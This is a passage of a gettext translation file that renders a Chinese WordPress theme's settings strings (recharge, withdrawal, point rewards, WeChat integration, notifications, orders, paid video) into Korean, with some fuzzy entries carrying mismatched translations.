msgstr "지갑"

#: Modules/Settings/Normal.php:2521
#, fuzzy
#| msgid "是否允许卡密充值？"
msgid "是否允许余额充值"
msgstr "카드 비밀 충전이 가능합니까?"

#: Modules/Settings/Normal.php:2525
msgid "禁止充值"
msgstr "충전 금지"

#: Modules/Settings/Normal.php:2526
msgid "允许充值"
msgstr "충전 허용"

#: Modules/Settings/Normal.php:2529
msgid "余额设置"
msgstr "잔액 설정"

#: Modules/Settings/Normal.php:2529 Modules/Settings/Normal.php:2607
msgid "请务必要做一定的限制，否则接口可能会被坏人利用。"
msgstr ""
"특정 제한을 설정하지 않으면 악의적인 사용자에 의해 인터페이스가 악용될 수 있"
"습니다."

#: Modules/Settings/Normal.php:2533
msgid "每天最大的充值次数"
msgstr "하루 최대 충전 횟수"

#: Modules/Settings/Normal.php:2537
msgid "填写数字，比如填2，则限制每天只能充值两次"
msgstr "예를 들어 2를 입력하면 하루에 두 번만 충전할 수 있습니다."

#: Modules/Settings/Normal.php:2541
msgid "每次充值的最大金额"
msgstr "충전당 최대 금액"

#: Modules/Settings/Normal.php:2545
msgid ""
"每次充值的金额不能大于此数，请直接填数字，比如100，则每次充值不允许超过100"
msgstr ""
"각 충전 금액은이 숫자보다 클 수 없으며, 예를 들어 100과 같이 숫자를 직접 입력"
"하면 각 충전이 100을 초과 할 수 없습니다."

#: Modules/Settings/Normal.php:2549
msgid "是否允许提现"
msgstr "출금 허용 여부"

#: Modules/Settings/Normal.php:2554
msgid "允许提现"
msgstr "인출 허용"

#: Modules/Settings/Normal.php:2557
msgid "提现设置"
msgstr "출금 설정"

#: Modules/Settings/Normal.php:2561
#, fuzzy, php-format
msgid "%s超过多少允许提现"
msgstr "인출 할 수있는 잔액"

#: Modules/Settings/Normal.php:2567
#, fuzzy, php-format
msgid "用户%s大于或者等于这个金额方可允许提现"
msgstr "인출을 허용하려면 사용자 잔액이이 금액보다 크거나 같습니다."

#: Modules/Settings/Normal.php:2571
msgid "网站提成比例"
msgstr "웹 사이트 수수료 비율"

#: Modules/Settings/Normal.php:2575
msgid "默认 0.05 （5%），如果网站不抽成，请设置为0。"
msgstr ""
"기본값은 0.05 (5 %)이며 웹 사이트에서 수수료를받지 못하는 경우 0으로 설정하세"
"요."

#: Modules/Settings/Normal.php:2579
msgid "是否允许卡密充值？"
msgstr "카드 비밀 충전이 가능합니까?"

#: Modules/Settings/Normal.php:2584
msgid "禁止使用"
msgstr "금지 된 사용"

#: Modules/Settings/Normal.php:2585
msgid "允许使用"
msgstr "허락을 받아"

#: Modules/Settings/Normal.php:2587
msgid "卡密充值设置"
msgstr "카드 비밀 충전 설정"

#: Modules/Settings/Normal.php:2591
msgid "卡密充值弹窗提示信息"
msgstr "카드 비밀 충전 팝업 메시지"

#: Modules/Settings/Normal.php:2594
msgid "通常用来提示用户去哪购买的文字"
msgstr "사용자에게 구매처를 상기시키는 데 주로 사용되는 텍스트"

#: Modules/Settings/Normal.php:2599
#, fuzzy
#| msgid "是否允许游客购买"
msgid "是否允许购买积分"
msgstr "출금 허용 여부"

#: Modules/Settings/Normal.php:2603
#, fuzzy
msgid "禁止购买"
msgstr "구매 금지"

#: Modules/Settings/Normal.php:2604
#, fuzzy
#| msgid "允许购买的用户组"
msgid "允许购买"
msgstr "볼 수있는 사용자 그룹"

#: Modules/Settings/Normal.php:2611
#, fuzzy
#| msgid "每天最大的充值次数"
msgid "每天最大的购买次数"
msgstr "하루 최대 충전 횟수"

#: Modules/Settings/Normal.php:2615
#, fuzzy
#| msgid "填写数字，比如填2，则限制每天只能充值两次"
msgid "填写数字，比如填2，则限制每天只能购买两次"
msgstr "예를 들어 2를 입력하면 하루에 두 번만 충전할 수 있습니다."

#: Modules/Settings/Normal.php:2619
#, fuzzy
#| msgid "每次充值的最大金额"
msgid "每次购买的最大金额"
msgstr "충전당 최대 금액"

#: Modules/Settings/Normal.php:2623
#, fuzzy
#| msgid ""
#| "每次充值的金额不能大于此数，请直接填数字，比如100，则每次充值不允许超过100"
msgid ""
"每次购买的金额不能大于此数，请直接填数字，比如100，则每次购买不允许超过100"
msgstr ""
"각 충전 금액은이 숫자보다 클 수 없으며, 예를 들어 100과 같이 숫자를 직접 입력"
"하면 각 충전이 100을 초과 할 수 없습니다."

#: Modules/Settings/Normal.php:2627
msgid "1元人民币兑换多少积分"
msgstr "1RMB로 얼마의 포인트를 교환 할 수 있습니까?"

#: Modules/Settings/Normal.php:2631
msgid "默认1元兑换38积分"
msgstr "기본값은 38 포인트를 교환하는 1 위안입니다."

#: Modules/Settings/Normal.php:2636
msgid "多少元起兑"
msgstr "얼마에서"

#: Modules/Settings/Normal.php:2640
msgid "默认10元起兑"
msgstr "기본 10 위안부터"

#: Modules/Settings/Normal.php:2644
msgid "新用户注册"
msgstr "신규 사용자 등록"

#: Modules/Settings/Normal.php:2648
msgid "奖励对象：注册者。默认260分。首次注册时奖励。"
msgstr "보상 대상 : 등록자. 기본값은 260 포인트입니다. 최초 등록시 보상."

#: Modules/Settings/Normal.php:2649
msgid "积分奖励"
msgstr "인증 포인트 보상"

#: Modules/Settings/Normal.php:2649
msgid "如果不允许奖励积分，请设置为0"
msgstr "보너스 포인트가 허용되지 않는 경우 0으로 설정하십시오."

#: Modules/Settings/Normal.php:2653
msgid "发表文章"
msgstr "기사를 내다"

#: Modules/Settings/Normal.php:2657
msgid "奖励对象：文章作者。默认200分。草稿状态不算，只有审核通过才算"
msgstr ""
"보상 : 기사 작성자. 기본값은 200 포인트입니다. 초안 상태는 승인 된 경우에만 "
"계산되지 않습니다."

#: Modules/Settings/Normal.php:2664
msgid "评论奖励"
msgstr "댓글 보상"

#: Modules/Settings/Normal.php:2668
#, fuzzy
msgid "奖励对象：发表评论者。默认20分。（此评论积分设置包含站内所有的评论）"
msgstr ""
"보상 : 댓글을 게시 한 사람. 기본값은 20 포인트입니다. (이 댓글 포인트 설정에"
"는 기사, 버블 링 및 연구 기관에 대한 댓글이 포함됩니다.)"

#: Modules/Settings/Normal.php:2672
#, fuzzy
msgid "文章（帖子）被评论奖励"
msgstr "글(게시물)은 댓글로 보상을 받습니다."

#: Modules/Settings/Normal.php:2676
#, fuzzy
msgid "奖励对象：文章（帖子）作者。默认5分。"
msgstr "보상 대상: 기사(게시물) 작성자. 기본값은 5점입니다."

#: Modules/Settings/Normal.php:2680 functions.php:2384
msgid "评论被点赞"
msgstr "댓글 '좋아요' 받기"

#: Modules/Settings/Normal.php:2684
#, fuzzy
msgid ""
"奖励对象：评论作者。取消点赞评论作者会扣除相应的积分，默认5分。（此评论积分设"
"置包含站内所有的评论）"
msgstr ""
"보상 : 댓글 작성자. 좋아요를 취소하면 저자가 해당 포인트를 차감하고 기본값은 "
"5 포인트입니다. (이 댓글 포인트 설정에는 기사, 버블 링 및 연구 기관에 대한 댓"
"글이 포함됩니다.)"

#: Modules/Settings/Normal.php:2688
msgid "关注或被关注"
msgstr "따르거나 따르십시오"

#: Modules/Settings/Normal.php:2692
msgid "奖励对象：点击关注的人或被关注的人，取消关注会扣除相应的积分。默认5分。"
msgstr ""
"보상 : 팔로우 중이거나 팔로우중인 사람을 클릭하면 팔로우 해제시 해당 포인트"
"가 차감됩니다. 기본값은 5 포인트입니다."

#: Modules/Settings/Normal.php:2696
#, fuzzy
#| msgid "评论被点赞"
msgid "被点赞"
msgstr "댓글 '좋아요' 받기"

#: Modules/Settings/Normal.php:2700
#, fuzzy, php-format
msgid ""
"文章、%s话题、等被点赞。奖励对象：文章（或帖子）作者，如果取消点赞会扣除相应"
"的积分。默认10分。"
msgstr ""
"보상 : 글 작성자가 좋아요를 취소하면 해당 포인트가 차감됩니다. 기본값은 10 포"
"인트입니다."

#: Modules/Settings/Normal.php:2706 Modules/Settings/Normal.php:2714
#: functions.php:2342 functions.php:2349
#, fuzzy, php-format
msgid "发布%s帖子"
msgstr "%s 게시"

#: Modules/Settings/Normal.php:2710 Modules/Settings/Normal.php:2718
#, fuzzy
msgid "奖励对象：帖子作者。默认50分。"
msgstr "보상 대상 : 등록자. 기본값은 260 포인트입니다. 최초 등록시 보상."

#: Modules/Settings/Normal.php:2722 Modules/Templates/Header.php:238
#: TempParts/Newsflashes/category.php:34 archive-newsflashes.php:33
#: footer.php:151 footer.php:173 footer.php:181 footer.php:190
#: functions.php:1955 functions.php:2310 functions.php:2311 functions.php:2313
#: functions.php:2356
#, php-format
msgid "发布%s"
msgstr "%s 게시"

#: Modules/Settings/Normal.php:2726
#, fuzzy, php-format
msgid "发布%s，并且已经审核通过，奖励对象：发布%s的人。默认20分。"
msgstr ""
"뉴스 레터를 게시하고 검토 및 승인 완료 보상 : 뉴스 레터를 게시 한 사람. 기본"
"값은 20 포인트입니다."

#: Modules/Settings/Normal.php:2734
msgid ""
"奖励对象：当前登录用户，登录用户每日签到将会随机获得积分，如果是固定值请使用 "
"xx-xx 例如 100-100（中间横杠不可缺失）。"
msgstr ""
"보상 대상 : 현재 로그인 한 사용자, 로그인 한 사용자는 매일 로그인 할 때 무작"
"위로 포인트를받습니다. 고정 값인 경우 100-100과 같은 xx-xx를 사용하십시오 (가"
"운데 가로 막대는 누락 될 수 없음)."

#: Modules/Settings/Normal.php:2738
msgid "签到填坑倍数"
msgstr "로그인 및 여러 항목 채우기"

#: Modules/Settings/Normal.php:2742
#, php-format
msgid "请参考%s填坑说明%s"
msgstr "%s 채우기 구덩이 지침  %s을 (를) 참조하십시오."

#: Modules/Settings/Normal.php:2750 Modules/Templates/Footer.php:723
msgid "任务"
msgstr "임무"

#: Modules/Settings/Normal.php:2760 Modules/Settings/Normal.php:2768
msgid "任务次数"
msgstr "작업 수"

#: Modules/Settings/Normal.php:2777
#, fuzzy
msgid "连续签到N天，奖励N积分"
msgstr "N일 연속 체크인 시 N포인트 적립"

#: Modules/Settings/Normal.php:2781
#, fuzzy
msgid ""
"想要用户连续签到3天，并且奖励100积分，则直接填3|100，如果不奖励，请之直接填0"
msgstr ""
"사용자가 연속 3일 동안 로그인하여 100포인트를 보상받기를 원하면 3|100을 직접 "
"입력하면 되며 형식은 유사합니다."

#: Modules/Settings/Normal.php:2808 Modules/Settings/Normal.php:2820
msgid "微信设置"
msgstr "WeChat 설정"

#: Modules/Settings/Normal.php:2816
msgid "微信公众号appid"
msgstr "WeChat 공개 계정 appid"

#: Modules/Settings/Normal.php:2820
#, php-format
msgid ""
"填写此信息，您的网站将和微信公众号深度整合（%s必须为微信认证了的服务号，订阅"
"号没有此功能）%s"
msgstr ""
"이 정보를 입력하면 웹 사이트가 WeChat 공식 계정과 긴밀하게 통합됩니다 ( %s는 "
"WeChat 서비스 계정이어야하며 구독 계정에는이 기능이 없습니다)  %s"

#: Modules/Settings/Normal.php:2824
msgid "微信公众号appsecret"
msgstr "WeChat 공개 계정 appsecret"

#: Modules/Settings/Normal.php:2827
msgid ""
"进入微信公众平台（服务号）->左侧菜单最下面->基本配置->开发者密码(AppSecret)"
msgstr ""
"WeChat 공용 플랫폼 (서비스 계정) 입력-> 왼쪽 메뉴 하단-> 기본 구성-> 개발자 "
"비밀번호 (AppSecret)"

#: Modules/Settings/Normal.php:2838
msgid "公众号自动回复"
msgstr "공개 자동 응답"

#: Modules/Settings/Normal.php:2853
msgid "Token"
msgstr "토큰"

#: Modules/Settings/Normal.php:2863
msgid "EncodingAESKey"
msgstr "인코딩 AESKey"

#: Modules/Settings/Normal.php:2874
#, fuzzy
#| msgid "公众号菜单设置"
msgid "公众号菜单"
msgstr "WeChat 공식 계정 메뉴 설정"

#: Modules/Settings/Normal.php:2883
msgid "微信菜单Json数据"
msgstr "WeChat 메뉴 Json 데이터"

#: Modules/Settings/Normal.php:2898
#, fuzzy
#| msgid "是否开启微信模板消息"
msgid "微信模板消息"
msgstr "WeChat 템플릿 메시지 활성화 여부"

#: Modules/Settings/Normal.php:2913
msgid "是否开启微信模板消息"
msgstr "WeChat 템플릿 메시지 활성화 여부"

#: Modules/Settings/Normal.php:2924
msgid "接收通知的管理员ID"
msgstr "알림을 받은 관리자의 아이디"

#: Modules/Settings/Normal.php:2927
msgid ""
"如果站点内有新的交易，管理员会收到通知，请填写收取通知的管理员ID，前提是这个"
"管理员必须绑定了微信登陆！"
msgstr ""
"사이트에 신규 거래가 있을 경우 관리자에게 알림이 오므로 알림을 받은 관리자의 "
"아이디를 입력해 주세요. 단, 관리자는 위챗 로그인에 연결되어 있어야 합니다!"

#: Modules/Settings/Normal.php:2937
msgid "邮件消息开关"
msgstr "메일 메시지 전환"

#: Modules/Settings/Normal.php:2945
msgid ""
"使用此功能的前提是，wp中安装了邮件发送插件，安装方法请自行百度“wordpress邮件"
"发送插件”，频繁发送邮件，可能会被收件服务器列为垃圾邮件，所以发送频率过高的邮"
"件，建议选择关闭"
msgstr ""
"이 기능을 사용하기위한 전제는 메일 전송 플러그인에 설치된 wp, 설치 방법, 바이"
"두 \"워드 프레스 메일 전송 플러그인\", 메일을 자주 보내면 서버에서 스팸으로 "
"수신 될 수 있으므로 메일을 너무 많이 보내는 빈도가 너무 높으면 닫는 것이 좋습"
"니다!"

#: Modules/Settings/Normal.php:2946
msgid "管理员收件邮箱"
msgstr "관리자 받은 편지함"

#: Modules/Settings/Normal.php:2950
msgid "请填写管理员的邮箱，用于收取发给管理员的通知邮件"
msgstr ""
"관리자에게 전송되는 알림 이메일을 받으려면 관리자의 이메일 주소를 입력하세요."

#: Modules/Settings/Normal.php:2954
msgid "有待审的文章、帖子、快讯、问答、供求、导肮等通知管理员"
msgstr ""
"보류 중인 문서, 게시물, 뉴스레터, Q&A, 수급, 가이드 등을 관리자에게 알립니다."

#: Modules/Settings/Normal.php:2965
msgid "文章、帖子、快讯、问答、供求、导航等审核成功通知作者"
msgstr ""
"기사, 게시물, 뉴스레터, Q&A, 수요와 공급, 탐색 등의 성공적인 검토를 작성자에"
"게 알립니다."

#: Modules/Settings/Normal.php:2976
msgid "用户购买会员给管理员通知"
msgstr "사용자가 멤버십을 구매하여 관리자에게 알림을 제공합니다."

#: Modules/Settings/Normal.php:2987
msgid "用户使用自定义支付通知管理员"
msgstr "사용자가 관리자에게 사용자 지정 결제 사용을 알립니다."

#: Modules/Settings/Normal.php:2998
msgid "用户置顶供求给管理员通知"
msgstr "사용자의 인기 오퍼 및 요청에 대한 관리자 알림"

#: Modules/Settings/Normal.php:3009
#, fuzzy
#| msgid "商品购买奖励"
msgid "商品购买通知管理员"
msgstr "상품 구매 보상"

#: Modules/Settings/Normal.php:3020
#, fuzzy
#| msgid "文章作者"
msgid "打赏通知文章作者"
msgstr "글쓴이"

#: Modules/Settings/Normal.php:3031
msgid "充值通知管理员"
msgstr "충전 알림 관리자"

#: Modules/Settings/Normal.php:3042
msgid "隐藏内容购买通知文章作者"
msgstr "문서 작성자를 위한 숨겨진 콘텐츠 구매 알림"

#: Modules/Settings/Normal.php:3053
#, fuzzy
#| msgid "文章作者"
msgid "下载通知文章作者"
msgstr "글쓴이"

#: Modules/Settings/Normal.php:3064
#, fuzzy
#| msgid "积分购买"
msgid "积分购买通知管理员"
msgstr "포인트 충전"

#: Modules/Settings/Normal.php:3075
msgid "视频购买通知文章作者"
msgstr "동영상 구매 알림 문서 작성자"

#: Modules/Settings/Normal.php:3086
msgid "认证申请通知管理员"
msgstr "인증 신청 알림 관리자"

#: Modules/Settings/Normal.php:3097
msgid "认证审核通过，通知申请者"
msgstr "인증 심사 승인, 신청자에게 알림"

#: Modules/Settings/Normal.php:3108
msgid "加入付费圈子通知圈主"
msgstr "유료 서클에 가입하여 서클 소유자에게 알리기"

#: Modules/Settings/Normal.php:3119
msgid "圈子付费查看回答通知答主"
msgstr "서클 유료 답변 보기 응답자에게 알림 보내기"

#: Modules/Settings/Normal.php:3130
#, fuzzy
#| msgid "付费查看帖子"
msgid "圈子付费查看通知帖子作者"
msgstr "게시물을 보려면 지불"

#: Modules/Settings/Orders.php:44 Modules/Settings/Orders.php:234
msgid "订单统计"
msgstr "주문 통계"

#: Modules/Settings/Orders.php:45 Modules/Settings/Orders.php:51
#: Modules/Settings/Orders.php:52
msgid "订单管理"
msgstr "주문 관리"

#: Modules/Settings/Orders.php:63 Modules/Settings/Orders.php:64
msgid "快递接口信息"
msgstr "익스프레스 인터페이스 정보"

#: Modules/Settings/Orders.php:72
#, php-format
msgid ""
"目前我们集成了易源数据的快递查询业务，请前往阿里云[%s全球物流快递查询_易源数"
"据%s]然后购买（可0元购买试用），并将生成的key填写到下面设置项中（如果已经购买"
"过，请前往阿里云市场买家中心查看）。"
msgstr ""
"현재 Yiyuan Data의 특급 질의 서비스를 통합하고 있습니다. Alibaba Cloud "
"[ %sGlobal Logistics Express Inquiry_ 易 源 数据  %s]로 이동하여 구매 (0 원에"
"서 평가판 구매 가능)하고 생성 된 키를 다음 설정에 입력하십시오. 미디엄 (이미 "
"구매 한 경우 Alibaba Cloud Market Buyer Center로 이동하여 확인하십시오)."

#: Modules/Settings/Orders.php:73
msgid "AppCode"
msgstr "AppCode"

#: Modules/Settings/Orders.php:75
msgid "购买之后，请前往阿里云市场买家中心AppCode"
msgstr "구매 후 AppCode로 이동하세요"

#: Modules/Settings/Orders.php:530
msgid "没有订单"
msgstr "주문 없음"

#: Modules/Settings/Orders.php:883
msgid "微信小程序推送成功"
msgstr "위챗 앱 푸시 성공"

#: Modules/Settings/Orders.php:954
msgid "订单ID："
msgstr "주문 아이디:"

#: Modules/Settings/Orders.php:962
msgid "订单日期："
msgstr "주문 날짜 :"

#: Modules/Settings/Orders.php:966
msgid "订单类型："
msgstr "잘못된 주문 유형"

#: Modules/Settings/Orders.php:970
msgid "商品类型："
msgstr "유형"

#: Modules/Settings/Orders.php:974
msgid "支付渠道："
msgstr "결제 채널 :"

#: Modules/Settings/Orders.php:978
msgid "商品名称："
msgstr "상품명"

#: Modules/Settings/Orders.php:982 Modules/Settings/OrdersListTable.php:119
msgid "合并付款临时订单"
msgstr "통합 결제 임시 주문"

#: Modules/Settings/Orders.php:1009
msgid "商品规格："
msgstr "제품 상세 사항:"

#: Modules/Settings/Orders.php:1017
msgid "产品单价："
msgstr "제품 단가 :"

#: Modules/Settings/Orders.php:1021
msgid "订单总价："
msgstr "총 주문 가격 :"

#: Modules/Settings/Orders.php:1025
msgid "订单数量："
msgstr "주문 수량 :"

#: Modules/Settings/Orders.php:1029
msgid "订单状态："
msgstr "주문 상태:"

#: Modules/Settings/Orders.php:1051
msgid "快递公司："
msgstr "택배 회사 :"

#: Modules/Settings/Orders.php:1067
msgid "运单号："
msgstr "운송장 번호:"

#: Modules/Settings/Orders.php:1071
msgid "订单地址："
msgstr "주문 주소 :"

#: Modules/Settings/Orders.php:1075
msgid "买家留言："
msgstr "구매자 메시지 :"

#: Modules/Settings/Orders.php:1131
#, fuzzy
msgid "已付款，未发货"
msgstr "결제 완료되었습니다.배송 대기중..."

#: Modules/Settings/Orders.php:1152
msgid "搜索订单"
msgstr "검색 순서"

#: Modules/Settings/OrdersListTable.php:30 Modules/Settings/Shop.php:649
#: Modules/Templates/Single.php:941 Modules/Templates/Single.php:1037
msgid "虚拟物品"
msgstr "가상 물품"

#: Modules/Settings/OrdersListTable.php:31 Modules/Settings/Shop.php:648
#: Modules/Templates/Single.php:941 Modules/Templates/Single.php:1037
msgid "实物"
msgstr "실물"

#: Modules/Settings/OrdersListTable.php:32 functions.php:2102
msgid "合并付款"
msgstr "통합 결제"

#: Modules/Settings/OrdersListTable.php:62
#: Modules/Settings/OrdersListTable.php:83
msgid "支付宝官方"
msgstr "알리 페이 공식"

#: Modules/Settings/OrdersListTable.php:63
#: Modules/Settings/OrdersListTable.php:84
msgid "卡密支付"
msgstr "카드 비밀 결제"

#: Modules/Settings/OrdersListTable.php:65
#: Modules/Settings/OrdersListTable.php:86
msgid "微信官方"
msgstr "WeChat 공식"

#: Modules/Settings/OrdersListTable.php:67
#: Modules/Settings/OrdersListTable.php:88
msgid "迅虎支付"
msgstr "빠른 타이거 지불"

#: Modules/Settings/OrdersListTable.php:68
#: Modules/Settings/OrdersListTable.php:89
msgid "虎皮椒-支付宝"
msgstr "타이거 페퍼 알리 페이"

#: Modules/Settings/OrdersListTable.php:69
#: Modules/Settings/OrdersListTable.php:90
msgid "虎皮椒-微信"
msgstr "타이거 페퍼-위챗"

#: Modules/Settings/OrdersListTable.php:71
#: Modules/Settings/OrdersListTable.php:92
msgid "码支付"
msgstr "코드결제"

#: Modules/Settings/OrdersListTable.php:75
#: Modules/Settings/OrdersListTable.php:96
msgid "随便付"
msgstr "원하는대로 지불"

#: Modules/Settings/OrdersListTable.php:161
msgid "货币"
msgstr "통화"

#: Modules/Settings/OrdersListTable.php:173
msgid "没有运单信息"
msgstr "운송장 정보 없음"

#: Modules/Settings/OrdersListTable.php:284
#: Modules/Settings/OrdersListTable.php:370
#: Modules/Settings/VerifyListTable.php:111
#: Modules/Settings/distributionUserListTable.php:84
#: Modules/Templates/Modules/Posts.php:129 Modules/Templates/Single.php:231
#: Modules/Templates/VueTemplates.php:600 TempParts/Ask/answer-archive.php:83
#: TempParts/Ask/archive.php:115 TempParts/Single/content-post-style-2.php:72
#: TempParts/Single/content-post-style-3.php:48
#: TempParts/Single/content-post-style-4.php:66 TempParts/Single/content.php:46
#: TempParts/circle/circle-topic-content.php:433
#: TempParts/infomation/archive.php:139 TempParts/single-answer.php:61
#: User/settings.php:16 User/settings.php:27 User/settings.php:39
#: User/settings.php:49 User/settings.php:101 User/settings.php:116
#: single-ask.php:131 single-ask.php:236
msgid "编辑"
msgstr "편집"

#: Modules/Settings/OrdersListTable.php:306
msgid "订单号"
msgstr "주문번호:"

#: Modules/Settings/OrdersListTable.php:307
msgid "买家"
msgstr "사는 사람"

#: Modules/Settings/OrdersListTable.php:309
#, fuzzy
msgid "商品别名"
msgstr "제품 별칭"

#: Modules/Settings/OrdersListTable.php:310
msgid "订单类型"
msgstr "잘못된 주문 유형"

#: Modules/Settings/OrdersListTable.php:311 Modules/Settings/Shop.php:52
#: Modules/Settings/Shop.php:617 Modules/Settings/Shop.php:644
#: Modules/Templates/Single.php:938 Modules/Templates/Single.php:1034
#: Modules/Templates/Widgets/Products.php:56
msgid "商品类型"
msgstr "유형"

#: Modules/Settings/OrdersListTable.php:312
msgid "订单状态"
msgstr "주문 상태"

#: Modules/Settings/OrdersListTable.php:313
msgid "订单时间"
msgstr "주문 시간"

#: Modules/Settings/OrdersListTable.php:314
msgid "订单数量"
msgstr "주문 수량"

#: Modules/Settings/OrdersListTable.php:315
msgid "产品单价"
msgstr "제품 단가"

#: Modules/Settings/OrdersListTable.php:316
msgid "订单总价"
msgstr "총 주문 가격"

#: Modules/Settings/OrdersListTable.php:317
msgid "货币类型"
msgstr "통화 유형"

#: Modules/Settings/OrdersListTable.php:318
msgid "支付渠道"
msgstr "결제 채널"

#: Modules/Settings/OrdersListTable.php:319
msgid "运单信息"
msgstr "운송장 정보"

#: Modules/Settings/OrdersListTable.php:320
msgid "买家留言"
msgstr "구매자 메시지"

#: Modules/Settings/OrdersListTable.php:321
msgid "订单地址"
msgstr "주문 주소"

#: Modules/Settings/Post.php:33 Modules/Templates/Widgets/Newsflashes.php:263
#: Modules/Templates/Widgets/User.php:250
#, php-format
msgid "全部%s"
msgstr "모든 %s"

#: Modules/Settings/Post.php:67
msgid "风格设置"
msgstr "스타일 설정"

#: Modules/Settings/Post.php:79 Modules/Settings/Template.php:1545
msgid "纯文字"
msgstr "일반 텍스트"

#: Modules/Settings/Post.php:80 Modules/Settings/Template.php:1546
msgid "简洁"
msgstr "간결한"

#: Modules/Settings/Post.php:81 Modules/Settings/Template.php:1547
msgid "大图片"
msgstr "큰 그림"

#: Modules/Settings/Post.php:82 Modules/Settings/Template.php:1548
msgid "小图片"
msgstr "작은 그림"

#: Modules/Settings/Post.php:95
msgid "文章样式"
msgstr "기사 스타일"

#: Modules/Settings/Post.php:106
msgid "视频查看权限"
msgstr "비디오보기 권한"

#: Modules/Settings/Post.php:111 Modules/Settings/Post.php:406
msgid "支付费用可见"
msgstr "지불 수수료가 표시됩니다"

#: Modules/Settings/Post.php:112 Modules/Settings/Post.php:407
msgid "支付积分可见"
msgstr "포인트 표시"

#: Modules/Settings/Post.php:113 Modules/Settings/Post.php:408
msgid "限制等级可见"
msgstr "제한 수준 표시"

#: Modules/Settings/Post.php:114 Modules/Settings/Post.php:409
#: Pages/circle-topics.php:47 Pages/write.php:596
#: TempParts/circle/circle-topic-list.php:113
msgid "登录可见"
msgstr "로그인 후 열람가능"

#: Modules/Settings/Post.php:115 Modules/Settings/Post.php:410
#: Modules/Templates/Modules/Posts.php:1505 Pages/circle-topics.php:48
#: Pages/write.php:597 TempParts/circle/circle-topic-list.php:114
msgid "评论可见"
msgstr "댓글 후 열람가능"

#: Modules/Settings/Post.php:122 Modules/Settings/Post.php:417
#: Modules/Settings/Post.php:640
msgid "是否允许游客购买"
msgstr "출금 허용 여부"

#: Modules/Settings/Post.php:129
msgid "如果是支付费用查看视频，您可以开启游客支付功能。只支持支付费用可见。"
msgstr ""
"동영상을보기 위해 결제하는 경우 게스트 결제 기능을 활성화 할 수 있습니다. 보"
"이는 결제 수수료 만 지원합니다."

#: Modules/Settings/Post.php:134 Modules/Settings/Post.php:429
msgid "需要支付的金额"
msgstr "지불 예정 금액"

#: Modules/Settings/Post.php:139 Modules/Settings/Post.php:434
#, php-format
msgid "请直接填写数字，比如%s元"
msgstr "숫자를 직접 입력하십시오 (예 :  %s 위안)."

#: Modules/Settings/Post.php:143 Modules/Settings/Post.php:438
msgid "需要支付的积分"
msgstr "지불해야 할 포인트를 입력하십시오."

#: Modules/Settings/Post.php:146 Modules/Settings/Post.php:441
#, php-format
msgid "请直接填写数字，比如%s积分"
msgstr "숫자를 직접 입력하십시오 (예 :  %s 포인트)."

#: Modules/Settings/Post.php:157 Modules/Settings/Post.php:452
msgid "允许查看的用户组"
msgstr "볼 수있는 사용자 그룹"

#: Modules/Settings/Post.php:161
msgid "请选择允许查看视频的用户组"
msgstr "비디오를 볼 수있는 사용자 그룹을 선택하십시오"

#: Modules/Settings/Post.php:165
msgid "是否允许自动播放"
msgstr "자동 재생 허용 여부"

#: Modules/Settings/Post.php:169
msgid "自动播放"
msgstr "자동 재생"

#: Modules/Settings/Post.php:170
msgid "禁止自动播放"
msgstr "자동 재생 금지"

#: Modules/Settings/Post.php:173
msgid ""
"如果设置自动播放，打开页面以后视频会自动播放（因为浏览器的特殊配置，不能保证"
"所有环境都能自动播放）"
msgstr ""
"자동 재생을 설정하면 페이지를 연 후 동영상이 자동으로 재생됩니다 (브라우저의 "
"특수 구성으로 인해 모든 환경에서 자동 재생이 보장되지는 않습니다)."

#: Modules/Settings/Post.php:179
msgid "视频设置"
msgstr "비디오 설정"

#: Modules/Settings/Post.php:181
msgid "视频{#}"
msgstr "동영상 구매"

#: Modules/Settings/Post.php:182
msgid "添加新视频"
msgstr "새 비디오 추가"

#: Modules/Settings/Post.php:183
msgid "删除视频"
msgstr "비디오 삭제"

#: Modules/Settings/Post.php:186 functions.php:2138
msgid "确定要删除这个视频吗？"
msgstr "이 비디오를 삭제 하시겠습니까?"

#: Modules/Settings/Post.php:191
#, fuzzy
msgid "Dogecloud 视频ID"
msgstr "Dogecloud 비디오 ID"

#: Modules/Settings/Post.php:194
#, fuzzy
msgid ""
"如果您使用了 <a href=\"https://www.dogecloud.com/\" "
"target=\"_blank\">Dogecloud</a>，可以通过视频ID直接获取视频信息，前提是已经设"
"置了两个key：<a target=\"_blank\" href=\""
msgstr ""
"<html><a href=\"https://www.dogecloud.com/\" target=\"_blank\">Dogecloud</a> "
"를 사용하는 경우 두 개의 키가 설정되어 있으면 비디오 ID를 통해 비디오 정보를 "
"직접 얻을 수 있습니다."

#: Modules/Settings/Post.php:198
msgid "视频标题"
msgstr "비디오 제목"

#: Modules/Settings/Post.php:201
#, php-format
msgid ""
"视频的标题，比如%s，如果此标题上面有总标题，请使用英文竖号分割一下，比如%s"
msgstr ""
"동영상 제목 (예 : %s).이 제목 위에 일반적인 제목이있는 경우 %s와 같이 구분할 "
"때 영어 세로 표시를 사용하세요."

#: Modules/Settings/Post.php:218
msgid "视频的封面，可以直接上传到媒体库，或者复制连接到此处"
msgstr ""
"비디오의 표지는 미디어 라이브러리에 직접 업로드하거나 여기에서 복사하여 연결"
"할 수 있습니다."

#: Modules/Settings/Post.php:222
msgid "视频预览地址"
msgstr "비디오 미리보기 주소"

#: Modules/Settings/Post.php:229 Modules/Settings/Post.php:249
msgid "添加视频"
msgstr "비디오 추가"

#: Modules/Settings/Post.php:238
#, fuzzy
msgid ""
"用户未支付或者权限不足的情况下可以进行视频预览，如果没有支付限制，请留空（只"
"支持类似 .mp4这种文件形式，不支持优酷等其他第三方）"
msgstr ""
"사용자가 결제하지 않았거나 권한이 부족한 경우 동영상을 미리 볼 수 있습니다. "
"결제 제한이없는 경우 비워 두세요 (.mp4와 같은 파일 형식 만 지원하고 Youku와 "
"같은 제 3자를 지원하지 않음)."

#: Modules/Settings/Post.php:258
#, fuzzy
msgid ""
"请上传视频，或者直接输入视频地址，或直接粘贴视频网站的页面网址到此处。此为必"
"填，否则前台无法播放视频。（支持类似 .mp4这种文件，支持B站视频、腾讯视频、西"
"瓜视频、Youtube）"
msgstr ""
"비디오를 업로드하거나 비디오 주소를 직접 입력해야합니다. 그렇지 않으면 프런"
"트 데스크에서 비디오를 재생할 수 없습니다 (.mp4와 같은 파일 만 지원하고 Youku"
"와 같은 타사는 지원하지 않음)."

#: Modules/Settings/Post.php:263 Modules/Settings/Template.php:1602
msgid "是否显示标签"
msgstr "라벨 표시 여부"

#: Modules/Settings/Post.php:268 Modules/Settings/Post.php:283
#: Modules/Settings/Post.php:297 Modules/Settings/Template.php:865
